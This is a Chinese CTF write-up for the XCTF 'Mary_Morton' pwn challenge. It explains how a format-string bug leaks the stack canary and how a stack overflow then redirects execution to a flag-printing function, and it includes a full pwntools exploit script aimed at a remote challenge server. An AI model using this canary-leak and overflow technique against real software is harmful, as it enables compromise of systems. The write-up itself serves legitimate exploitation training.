Mary_Morton(xctf)

本文介绍了程序的保护措施和流程,详细分析了如何利用栈溢出和格式化字符串漏洞。程序开启了canary保护,但通过泄露canary值并构造特定格式的字符串,可以绕过保护并获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x0 程序保护和流程

保护:

在这里插入图片描述

流程:

main()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bq3HEwXC-1591926684688)(C:\Users\PC\Desktop\学习任务\CTF\xctf\高手\Mary_Morton\picture\main.png)]
在这里插入图片描述
如果输入1会进入

在这里插入图片描述

这个函数有一个栈溢出漏洞。

如果输入2会进入

在这里插入图片描述

这个函数有一个格式化字符串漏洞。

还有一个cat_flag的函数

在这里插入图片描述

0x1 利用过程

首先这个程序开启了canary,所以直接栈溢出会报错。但是我们知道v2变量中存放的是canary值(v2在函数开始时就被**__readfsqword(0x28u)赋值,函数结束前与__readfsqword(0x28u)**进行比较),如果我们能通过格式化字符串漏洞将v2的值泄露出来就可以利用栈溢出漏洞。首先先确定偏移量。

在这里插入图片描述

偏移量为6的位置是格式化字符串漏洞这个函数的栈的开始位置,而开始位置距离与v2的距离为0x88。所以当格式化字符串构造成**%(6+0x88/8)p**的时候就会将v2这个地址中的值已十六进制的形式输出出来。之后就可以绕过canary获得flag了。

0x02 exp

from pwn import *
sh=remote('220.249.52.133','45164')
#sh=process('./a')
cat_flag=0x4008DA
offset=6
sh.recvuntil('3. Exit the battle \n')
sh.sendline('2')
payload='%{}$p'.format(offset+0x88/8)
sh.sendline(payload)
sh.recvuntil("0x")
canary_addr=int(sh.recv(16), 16)
sh.recvuntil('3. Exit the battle \n')
sh.sendline('1')
payload='a'*0x88+p64(canary_addr)+'a'*8+p64(cat_flag)
sh.sendline(payload)
sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值